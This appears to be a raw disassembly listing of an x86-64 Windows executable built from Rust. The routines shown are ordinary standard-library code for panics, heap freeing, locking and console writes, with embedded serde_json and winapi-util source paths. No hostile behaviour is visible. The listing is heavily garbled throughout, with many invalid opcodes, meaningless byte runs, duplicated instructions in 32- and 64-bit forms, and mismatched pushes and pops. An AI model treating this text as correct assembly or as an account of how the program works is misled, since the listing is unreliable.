lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_src_ser.rs
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x30]
call fcn.1400a4aa0
ud2
lea rax, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_src_ser.rs
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x30]
mov r9, rdx
call fcn.1400a4aa0
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, str.C:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_src_ser.rs
mov edx, 0x28
call fcn.1400a4530
ud2
add eax, 0x7ae1f
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xc8], 0
jne 0x1400754e0
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xc8], rsi
add rsp, 0x88
pop rsi
pop rbp
ret
mov byte [rbp - 0xc], 0
mov dword [rbp - 0x10], 0
lea rax, [0x1400e1388]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rax, [rbp - 8]
mov qword [rbp - 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x50]
lea edx, [rbp - 0x50]
lea edx, [rbp - 0x50]
call fcn.1400751a0
mov rcx, rax
call fcn.1400752e0
mov ecx, 7
int 0x29
ud2
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea rcx, [rbp - 0x20]
loopne 0x14007556f
and eax, 0xc6000004
inc dword [r8]
loopne 0x14007556f
and eax, 0xc6000004
inc dword [r8]
add rsp, 0x28
pop rsi
pop rbp
ret
int3
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
add r14b, r15b
invalid
cmp rax, 2
jne 0x1400757a9
add rdx, 0xfffffffffffffffe
je 0x14007572c
lea rsi, [rbp - 0x18]
jne 0x14007563b
mov r14, qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x14007566c
mov rdx, r15
test r15, r15
je 0x14007572c
mov r15, qword [rdx + 8]
mov rdi, qword [rdx]
mov qword [rdx], 0
test rdi, rdi
je 0x14007573c
mov qword [rbp - 8], rdi
mov byte [rdx + 0x10], 1
mov al, 1
xchg byte [rdi + 0x28], al
cmp al, 0xff
jne 0x140075710
add eax, 0x7a94b
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call rax
mov rax, qword [rbp - 8]
lock dec qword [rax]
jne 0x140075660
mov rcx, qword [rbp - 8]
call fcn.1400758f0
jmp 0x140075660
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400e2a58]
mov edx, 0x2b
call fcn.1400a4530
ud2
mov qword [rbp - 0x58], 0
lea rdx, [0x1400e5bb0]
lea r9, [0x1400e2a70]
lea rcx, [rbp - 0x28]
lea r8, [rbp - 0x58]
call fcn.1400a7bb0
ud2
mov r8, qword [rcx + 0x18]
test r8, r8
je 0x14007591b
cmp qword [rsi + 0x20], 0
mov byte [r8], 0
je 0x14007591b
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp rsi, 0xffffffffffffffff
je 0x140075940
invalid
invalid
lock dec qword [rsi + 8]
jne 0x140075940
nop
add rsp, 0x20
pop rsi
ret
and al, 0x38
mov qword [rsp + 0x40], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x48], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x38]
call fcn.1400751a0
mov rcx, rax
call fcn.1400752e0
mov ecx, 7
int 0x29
ud2
int3
adc eax, 0x3399e
test rax, rax
je 0x140075a0c
sahf
cmp dword [rbx], eax
add byte [rax - 0x7b], cl
sal byte [rbp + rdx + 0x48], 0x8d
adc eax, 0x6ce4a
lea rdx, str.NtWaitForKeyedEvent
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
jne 0x140075a13
lea rax, [0x140075a40]
mov qword [0x1400f0058], rax
mov rcx, r14
mov rdx, rdi
mov r8d, ebx
mov r9, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
invalid
adc dword [rbp - 0x20], eax
lea rdx, str.library_std_src_syswindowsc.rs
lea edx, [0x1400e2860]
lea rcx, [rbp - 0x38]
call fcn.1400a4370
ud2
push 0x60
call fcn.1400a4a40
ud2
ror dword [rcx - 0x77], cl
invalid
add byte [rcx + rcx*4 - 0xf], cl
mov edx, ebx
mov r8, rdi
clc
clc
mov r9d, esi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x70244
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
loopne 0x140075b90
lea edx, [0x1400e2800]
lea rcx, [rbp - 0x38]
enter 0x19e8, 0xffffffffffffffe8
add al, byte [rax]
enter 0x19e8, 0xffffffffffffffe8
add al, byte [rax]
ud2
add byte [rdi], cl
or ecx, esp
int3
add byte [rbx + 0x7a73005], cl
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
mov rax, qword [rax + 0xa8]
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
cmp rcx, 5
mov esi, 4
cmovae rsi, rcx
xor edx, edx
mov rcx, rsi
shr rcx, 0x3b
sete dl
mov r8, rsi
mov eax, esi
mov eax, esi
shl r8, 4
shl rdx, 3
test rax, rax
je 0x140075c0f
mov ecx, dword [0x1400f02c4]
mov r9, qword gs:[0x58]
mov rcx, qword [r9 + rcx*8]
mov rcx, qword [rcx + 0xa0]
add byte [rax], al
shl rax, 4
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 8
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x30], rax
jmp 0x140075c18
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0x38]
lea r9, [rsp + 0x20]
call fcn.14005bd70
cmp qword [rsp + 0x38], 0
mov rcx, qword [rsp + 0x40]
je 0x140075c4f
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x140075c70
add byte [rax + 0x74c13948], al
sub eax, 0x75c98548
call fcn.14003bdd0
test rcx, rcx
jne 0x140075c76
call fcn.14003bdd0
ud2
mov eax, dword [0x1400f02c4]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov qword [rax + 0xa0], rcx
mov qword [rax + 0xa8], rsi
add rsp, 0x50
pop rsi
ret
mov rdx, qword [rsp + 0x48]
call fcn.1400a42a0
and dh, ah
add al, byte [rax]
and dh, ah
add al, byte [rax]
ud2
lea rax, [0x140075d00]
mov qword [0x1400f0050], rax
mov rcx, r14
mov rdx, rdi
mov r8d, ebx
mov r9, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp rax
or eax, 0x7a337
call qword [sym.imp.kernel32.dll_TryAcquireSRWLockExclusive]
test al, al
je case.0x14006f5b1.144
mov eax, dword [0x1400f02c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0xd1]
mov qword [0x1400f0160], rax
mov eax, 1
mov dword [0x1400f0190], eax
mov qword [rbp - 0x30], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x1a], 0
cmp qword [0x1400f0168], 0
jne 0x140075f09
mov qword [0x1400f0168], 0xffffffffffffffff
lea rcx, [0x1400f0170]
fisub word [rdx + 0x39e80007]
add dword [rax], eax
add byte [rdi], cl
adc byte [rbp - 0x30], al
fisub word [rdx + 0x39e80007]
add dword [rax], eax
add byte [rdi], cl
adc byte [rbp - 0x30], al
movups xmm1, xmmword [rbp - 0x20]
movups xmmword [0x1400f0180], xmm1
movups xmmword [0x1400f0170], xmm0
inc qword [0x1400f0168]
dec dword [0x1400f0190]
jne case.0x14006f5b1.144
mov qword [0x1400f0160], 0
lea rcx, [0x1400f0158]
call qword [sym.imp.kernel32.dll_ReleaseSRWLockExclusive]
jmp case.0x14006f5b1.144
add rsp, 0x50
pop rbp
ret
retf 0x702
lea rcx, str.library_std_srcio_stdio.rs
call fcn.1400a4800
ud2
push rax
lea rcx, [rbp - 0x30]
call fcn.140075fd0
nop
add rsp, 0x20
pop rbp
ret
int3
cmp qword [rdi + 8], 0
je 0x140076192
invalid
xchg ecx, eax
add dword [rax], eax
invalid
add byte [rdi], cl
test byte [rcx + 0x4c000001], dl
mov eax, dword [rdi]
add byte [rbx + rcx*4 + 7], cl
mov r8, qword [rdi]
mov rcx, qword [0x1400f0220]
xor edx, edx
add rsp, 0x68
push 0x415e5f5b
pop rsp
push 0x415e5f5b
pop rsp
pop r13
pop r14
pop r15
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
or al, 0x33
add eax, dword [rax]
or al, 0x33
add eax, dword [rax]
lea rbx, [rdi + 0x19]
xor eax, eax
mov qword [rbp - 8], rax
lea rsi, [rbp - 0x38]
jne 0x140075ffa
jne 0x140075ffa
lea r14, [0x1400e0860]
lea r15, [0x1400e75a8]
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp - 0x10], rdi
jmp 0x140076060
cmp byte [r13 + 0x10], 0x23
jne 0x1400761cc
nop dword [rax + rax]
mov rdx, qword [rdi + 0x10]
mov rax, rdi
mov rdi, rdx
mov rcx, qword [rbp - 8]
sub rdi, rcx
jbe 0x1400761a3
xchg byte [rcx + rax], ch
add byte [rax], al
xchg byte [rcx + rax], ch
add byte [rax], al
mov byte [rax + 0x18], 1
mov r8, qword [rax]
add r8, rcx
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x20], ebx
mov rcx, rsi
mov edx, 0xfffffff5
mov r9, rdi
call fcn.140076450
mov edx, 0x48000003
cmp dword [rbp - 0x38], 0
mov edx, 0x48000003
cmp dword [rbp - 0x38], 0
je 0x14007615b
mov r13, qword [rbp - 0x30]
mov ebp, dword [rbp - 0x30]
mov eax, r13d
and eax, 3
cmp rax, 2
jae case.default.0x1400760c0
mov rdi, qword [rbp - 0x10]
mov edi, dword [rbp - 0x10]
mov byte [rdi + 0x18], 0
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
cmp byte [r13 + 0xf], 0x23
jne 0x1400761cc
lea rax, [r13 - 1]
mov qword [rbp - 0x20], rax
mov rcx, qword [r13 - 1]
mov rax, qword [r13 + 7]
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], rax
call qword [rax]
mov rax, qword [rbp - 0x18]
cmp qword [rax + 8], 0
js 0x1400760f7
add byte [rax - 0x75], cl
jge 0x1400760e4
call 0xcb4f71e8
call 0x1487fe437
js 0x1400760f7
js 0x1400760f7
add byte [rax - 0x75], cl
jge 0x1400760e4
je 0x140076146
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
jae 0x140076132
mov r8, qword [rbp - 0x28]
jmp 0x14007613a
add byte [rax], al
add byte [rbx + 0x4c7503f8], al
cmp eax, 3
jne 0x140076161
cmp eax, 3
jne 0x140076161
mov rdi, qword [rbp - 0x10]
mov byte [rdi + 0x18], 0
mov rax, r13
shr rax, 0x20
cmp eax, 0x23
je 0x140076060
jmp 0x1400761cc
mov r8, qword [rbp - 0x28]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call r12
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp - 0x20]
call r12
jmp 0x140076060
mov rdi, qword [rbp - 0x30]
jmp 0x140076171
mov rax, r13
shr rax, 0x20
cmp eax, 6
jne 0x140076287
mov rax, qword [rbp - 0x10]
mov byte [rax + 0x18], 0
test rdi, rdi
mov rax, qword [rbp - 8]
je 0x1400761c5
add rax, rdi
mov qword [rbp - 8], rax
mov rdi, qword [rbp - 0x10]
invalid
jmp 0x140076060
invalid
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
test rcx, rcx
mov rdi, rax
je 0x140075ff6
invalid
invalid
invalid
invalid
cmp rdx, rcx
jb 0x1400762a6
mov qword [rdi + 0x10], 0
add byte [rax], al
add byte [rax], al
jmp 0x140075ff6
mov r13, r14
mov rdi, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
test rax, rax
je 0x140076205
mov rdx, qword [rdi + 0x10]
mov rsi, rdx
sub rsi, rax
jb 0x140076294
mov qword [rdi + 0x10], 0
mov rdx, qword [rbp - 8]
je 0x140076205
mov rcx, qword [rdi]
add rdx, rcx
mov r8, rsi
call sub.VCRUNTIME140.dll_memmove
mov qword [rdi + 0x10], rsi
mov eax, r13d
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140075ff6
test rax, rax
je 0x140075ff6
lea rax, [r13 - 1]
mov qword [rbp - 8], rax
mov rcx, qword [r13 - 1]
mov rax, qword [r13 + 7]
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x20], rax
call qword [rax]
mov rax, qword [rbp - 0x20]
cmp qword [rax + 8], 0
mov rdi, qword [rbp - 0x10]
je 0x14007626f
cmp qword [rax + 0x10], 0x11
jae 0x140076258
mov r8, qword [rbp - 0x18]
jmp 0x140076260
mov r8, qword [rbp - 0x18]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp - 8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140075ff6
mov rdi, qword [rbp - 0x10]
mov byte [rdi + 0x18], 0
jmp 0x1400761cc
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_src_vecmod.rs
mov rcx, qword [rbp - 8]
call fcn.1400a44b0
jmp 0x1400762b2
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_src_vecmod.rs
call fcn.1400a44b0
ud2
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
mov rcx, qword [rbp - 0x10]
call fcn.1400093b0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
invalid
add byte [rax - 0x7b], cl
sal byte [rcx + riz + 0x49], 0x89
invalid
add esp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp - 0x48]
call sub.kernel32.dll_CloseHandle
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
adc byte [0x1400e1d20], al
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
and al, 0x38
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
add eax, dword [rcx]
add byte [rax], al
add eax, dword [rcx]
add byte [rax], al
jne 0x1400767e3
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14007681a
test eax, eax
js 0x1400767f4
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14007680d
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
cmp al, 0x2c
add eax, dword [rax]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
and al, 0x58
add byte [rax], al
add byte [rax], al
lea rax, [0x1400e1d80]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x50
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
lea edx, [rsp + 0x78]
lea edx, [rsp + 0x78]
call fcn.1400751a0
mov rcx, rax
call fcn.1400752e0
mov ecx, 7
int 0x29
ud2
int3
add byte [rax], al
cmp byte [r8 + 0x1000], 0xbf
jg 0x1400768e9
mov edi, 0xfff
cmp byte [r8 + 0xfff], 0xbf
jg 0x1400768e9
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0x1000
mov ecx, 0xfde9
mov edx, 8
mov r9d, edi
call qword [sym.imp.kernel32.dll_MultiByteToWideChar]
test eax, eax
je 0x140076a69
invalid
add dword [rcx], 0x44c70000
and al, 0x30
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x60]
lea r9, [rsp + 0x30]
mov rcx, r14
mov r8d, eax
call qword [sym.imp.kernel32.dll_WriteConsoleW]
test eax, eax
je 0x140076a1e
mov ebx, dword [rsp + 0x30]
cmp rbx, r15
je 0x140076a3b
jae 0x140076a55
add byte [rax], al
movzx eax, word [rsp + rbx*2 + 0x60]
add eax, 0x2312
movzx eax, ax
cmp eax, 0x312
jae 0x1400769b4
lea rdx, [rsp + rbx*2]
add rdx, 0x60
inc rbx
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
mov rcx, r14
mov r8d, 1
call qword [sym.imp.kernel32.dll_WriteConsoleW]
test eax, eax
jne 0x1400769b4
call qword [sym.imp.kernel32.dll_GetLastError]
int3
cmp rbx, r15
ja 0x140076abb
test rbx, rbx
je 0x140076a39
add rbx, rbx
xor eax, eax
xor edi, edi
jmp 0x1400769dc
add rdi, rdx
add rax, 2
cmp rbx, rax
je 0x140076a3b
movzx ecx, word [rsp + rax + 0x60]
mov edx, 1
cmp ecx, 0x80
jb 0x1400769d0
movzx r8d, cx
mov edx, 2
add byte [rax], al
add byte [rcx - 0x7f], al
clc
add byte [rax], cl
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x7f], al
clc
add byte [rax], cl
add byte [rax], al
invalid
add byte [rdx - 0x30], dh
jb 0x1400769d0
add ecx, 0x2312
movzx ecx, cx
xor edx, edx
cmp ecx, 0x312
setae dl
lea rdx, [rdx*2 + 1]
jmp 0x1400769d0
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x140076a46
xor edi, edi
mov qword [rsi + 8], rdi
jle 0x140076a47
mov qword [rsi], 0
add rsp, 0x2060
add esp, 0x2060
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea r8, str.library_std_src_syswindows_stdio.rs
mov rcx, rbx
mov rdx, r15
mov edx, edi
call fcn.1400a4430
ud2
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.library_std_src_syswindows_stdio.rs
lea rcx, [rsp + 0x30]
call fcn.1400a4370
ud2
invalid
lea r8, str.library_std_src_syswindows_stdio.rs
mov rcx, rbx
mov rdx, r15
call fcn.1400a44b0
ud2
nop
add rsp, 0x20
pop rbp
ret
add dword [rax], 0x89440000
rol dword [rbx - 0x72b7fc1f], 0x51
dec byte [rax - 0x7d]
cli
add dh, byte [rdx + 0x71]
test rcx, rcx
je 0x140076d45
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x28], rsi
fmul dword [rcx - 0x73]
dec dword [rax - 0x77]
call 0x13f4ff836
fmul dword [rcx - 0x73]
dec dword [rax - 0x77]
call 0x13f4ff836
mov rax, qword [r8 + 7]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
mov rsi, qword [rbp - 0x28]
je 0x140076d2e
cmp qword [rax + 0x10], 0x11
jae 0x140076d17
mov r8, qword [rbp - 8]
jmp 0x140076d1f
mov r8, qword [rbp - 8]
mov r8, qword [r8 - 8]
mov eax, dword [rax - 8]
mov eax, dword [rax - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp - 0x18]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp - 0x20]
mov qword [rsi + 8], rax
test rax, rax
setne al
add rsp, 0x58
pop rsi
pop rbp
ret
invalid
call 0xcb506d85
call 0x141512174
add byte [rax - 0x75], cl
fmul dword [r8 - 0x75]
loopne 0x140076dde
add cl, ch
mov al, byte [rax]
add byte [rax], al
mov eax, edx
cmp edx, 0x800
jae 0x140076de8
mov r8, rdx
lea rdx, fcn.140076bb0
jmp fcn.14003e1b0
lea esi, [rbp - 0x28]
lea edi, [0x1400e0dc8]
js 0x140076eda
add eax, dword [rax]
mov dword [rsp + 0x20], ebx
int1
mov ecx, esi
int1
add ecx, esp
dec qword [rax - 0x77]
call 0x13f4ffa62
mov rax, qword [rax + 7]
mov qword [rbp - 8], rcx
clc
clc
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
invalid
je 0x140076f86
add byte [rbx + rdx*2 + 0x48], dh
cmp dword [rax + 0x10], 0x11
cmp qword [rax + 0x10], 0x11
jae 0x140076f72
mov r8, qword [rbp - 8]
clc
jmp 0x140076f7a
sub eax, ecx
invalid
mov rcx, rax
shr rcx, 0x20
cmp ecx, 0x23
je 0x140076eca
invalid
invalid
invalid
invalid
jmp 0x140076f9d
mov r8, qword [rbp - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call r13
lahf
xchg edx, eax
invalid
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp - 0x18]
call r13
jmp 0x140076eca
invalid
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 8]
call fcn.1400755d0
mov rcx, qword [rbp - 0x18]
call fcn.14008b740
add dword [rax], eax
add dword [rax], eax
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, dword [rax]
jmp 0x14003c730
invalid
dec esp
int3
int3
or byte [rbp + 8], dh
add byte [rax], al
int3
int3
lock dec qword [rcx + 8]
jne 0x1400770a0
mov rcx, qword [0x1400f0220]
xor edx, edx
jmp qword [sym.imp.kernel32.dll_HeapFree]
ret
add dword [rax], eax
add byte [rbp - 0x77], cl
dec byte [rbp + 1]
invalid
mov ecx, dword [0x1400f0220]
adc eax, 0x3220b
test eax, eax
test byte [rcx], bh
add dword [rax], eax
add byte [rax], al
mov rcx, rax
mov qword [0x1400f0220], rax
xor edx, edx
add byte [rax], al
mov ecx, eax
mov dword [0x1400f0220], eax
xchg ecx, eax
invalid
mov eax, esi
adc eax, 0x321f5
or byte [rdx + 0x4b], dh
add dh, byte [rbp - 0x11]
lodsd eax, dword [rsi]
invalid
add bl, ch
xor byte [rax + 0x3b], cl
push rbp
invalid
call 0x139609901
pop rcx
stc
dec dword [rbx + rcx*4 + 0x45]
call 0x1385cfd6a
mov edx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
mov rdx, qword [rbp - 8]
mov edx, dword [rbp - 8]
mov edx, dword [rbp - 8]
mov dword [r8 + rdx*2], 0xff480000
add byte [rax], al
ret 0x8948
clc
adc byte [rdi], cl
adc byte [rbp - 0x18], al
invalid
call 0x1880d834b
add esp, 0x58
pop rsi
cld
dec dword [rdi]
or edi, dword [rcx + 2]
mov ecx, 2
add byte [rcx + rcx*4 - 0xe], cl
add byte [rdi], cl
or esp, dword [rsi - 0x70]
nop
nop
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
push r15
push rdi
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
push 0x50
in al, dx
sub byte [rax - 0x73], cl
push 0x50
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
push rbp
invalid
call 0x1305cfdc5
push rbp
invalid
call fcn.14003c270
nop
cld
call qword [rax + 0x28c48348]
add rsp, 0x28
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
add rsp, 0x40
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
push 0x20
add eax, dword [rax]
push 0x20
add eax, dword [rax]
mov rax, qword [rcx + 8]
mov ecx, eax
and ecx, 3
or byte [rcx + 0x3e183c1], cl
lea rdx, [rcx - 2]
lea edx, [rcx - 2]
cmp rdx, 2
jb case.0x14002753a.708
test rcx, rcx
jne 0x1400772e4
add rsp, 0x40
pop rbp
ret
lea rcx, [rax - 1]
lea ecx, [rax - 1]
mov qword [rbp - 0x20], rcx
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
invalid
mov qword [rbp - 0x10], rcx
invalid
mov qword [rbp - 0x18], rax
call 0xcb4f83ff
invalid
invalid
invalid
invalid
call 0xcb4f83ff
call 0x1487ff64e
cmp dword [rax + 8], 0
je 0x14007732d
cmp qword [rax + 0x10], 0x11
mov eax, dword [rbp - 0x18]
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
je 0x14007732d
cmp qword [rax + 0x10], 0x11
js 0x14007731d
adc dword [rbx + 6], esi
jae 0x140077316
invalid
mov r8, qword [rbp - 0x10]
jmp 0x14007731e
invalid
mov r8, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov eax, dword [rax - 8]
clc
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
invalid
add byte [rcx], dh
sar bh, cl
call qword [sym.imp.kernel32.dll_HeapFree]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
mov rcx, qword [0x1400f0220]
or eax, 0x78eec
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x45], cl
mov eax, dword [rbp - 0x20]
invalid
xor edx, edx
mov r8, qword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
jmp 0x1400772ba
jnp 0x14007733c
invalid
invalid
nop
mov qword [rsp + 0x10], rdx
and al, 0x10
and al, 0x10
push rbp
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
lea rbp, [rdx + 0x40]
lea ebp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x14857fe9e
mov rdx, qword [rax + 8]
mov edx, dword [rax + 8]
mov r8, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
call fcn.1400755d0
insd dword [rdi], dx
loop 0x140077361
invalid
dec dword [rax - 0x75]
loopne 0x140077350
invalid
mov rcx, qword [rbp - 0x20]
call fcn.14008b740
nop
add rsp, 0x20
invalid
invalid
invalid
add byte [rax + 0x20c48348], dl
invalid
pop rbp
ret
int3
add byte [rax], al
mov qword [0x1400f0038], rax
mov rcx, rdi
mov rdx, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
add dword [rax], eax
or byte [rax - 0x7d], 0xc4
sub bl, al
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rsi, rdx
mov rdi, rcx
movzx r12d, word [rdx + 0x10]
mov r13, qword [rdx]
mov r14, qword [rdx + 8]
mov r15, 0xffffffffffffffff
mov edi, 0xffffffff
mov edi, 0xffffffff
jmp case.0x140023569.879
shl ecx, 6
or ecx, r8d
mov r12d, ecx
xor ebp, ebp
in eax, dx
mov r13, rax
mov rbx, qword [rdi + 0x10]
cmp rbx, qword [rdi + 8]
je 0x140077532
mov rax, qword [rdi]
mov word [rax + rbx*2], r12w
mov dword [rax + rbx*2], esp
mov dword [rax + rbx*2], esp
inc rbx
inc ebx
mov qword [rdi + 0x10], rbx
mov dword [rdi + 0x10], ebx
mov r12d, ebp
test r12w, r12w
in al, 0xf
